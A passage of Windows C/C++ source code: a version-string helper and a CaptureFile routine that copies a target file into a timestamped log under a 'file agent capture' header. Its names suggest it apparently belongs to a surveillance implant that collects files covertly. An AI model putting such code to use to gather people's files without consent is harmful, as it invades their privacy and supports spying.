L"\\StringFileInfo\\%04x%04x\\FileDescription",
translations[0].language, translations[0].codePage);
if (!VerQueryValue(buffer, subBlockName, (void **)&name, &nameLength)) {
free(buffer);
return "";
}
}
std::string result = TCHARToUTF8(name);
free(buffer);
return result;
}
void CaptureFile(WCHAR *file_path, WCHAR *dest_dir)
{
static DWORD i = 0;
FileAdditionalData *file_additional_data;
BYTE *log_file_header;
BYTE *temp_buff;
DWORD header_len;
DWORD dwRead;
FILETIME time_nanosec;
WCHAR dest_file_path[MAX_PATH];
HANDLE shfile, dhfile;
if ( !(file_additional_data = (FileAdditionalData *)malloc(sizeof(FileAdditionalData) + wcslen(file_path) * sizeof(WCHAR))))
return;
file_additional_data->uVersion = LOG_FILE_VERSION;
file_additional_data->uFileNameLen = wcslen(file_path) * sizeof(WCHAR);
memcpy(file_additional_data+1, file_path, file_additional_data->uFileNameLen);
log_file_header = Log_CreateHeader(PM_FILEAGENT_CAPTURE, (BYTE *)file_additional_data, file_additional_data->uFileNameLen + sizeof(FileAdditionalData), &header_len);
SAFE_FREE(file_additional_data);
if (!log_file_header)
return;
GetSystemTimeAsFileTime(&time_nanosec);
_snwprintf_s(dest_file_path, sizeof(dest_file_path)/sizeof(WCHAR), _TRUNCATE, L"%s\\%.4X%.8X%.8X.log", dest_dir, i++, time_nanosec.dwHighDateTime, time_nanosec.dwLowDateTime);
dhfile = CreateFileW(dest_file_path, GENERIC_WRITE, FILE_SHARE_READ, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
if (dhfile == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
return;
}
shfile = CreateFileW(file_path, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if (shfile == INVALID_HANDLE_VALUE) {
SAFE_FREE(log_file_header);
CloseHandle(dhfile);
return;
}
if ( !(temp_buff = (BYTE *)malloc(CRYPT_COPY_BUF_LEN)) ) {
SAFE_FREE(log_file_header);
CloseHandle(shfile);
CloseHandle(dhfile);
return;
}
if (WriteFile(dhfile, log_file_header, header_len, &dwRead, NULL)) {
LOOP {
dwRead = 0;
if (!ReadFile(shfile, temp_buff, CRYPT_COPY_BUF_LEN, &dwRead, NULL) )
break;
if (!Log_WriteFile(dhfile, temp_buff, dwRead))
break;
}
}
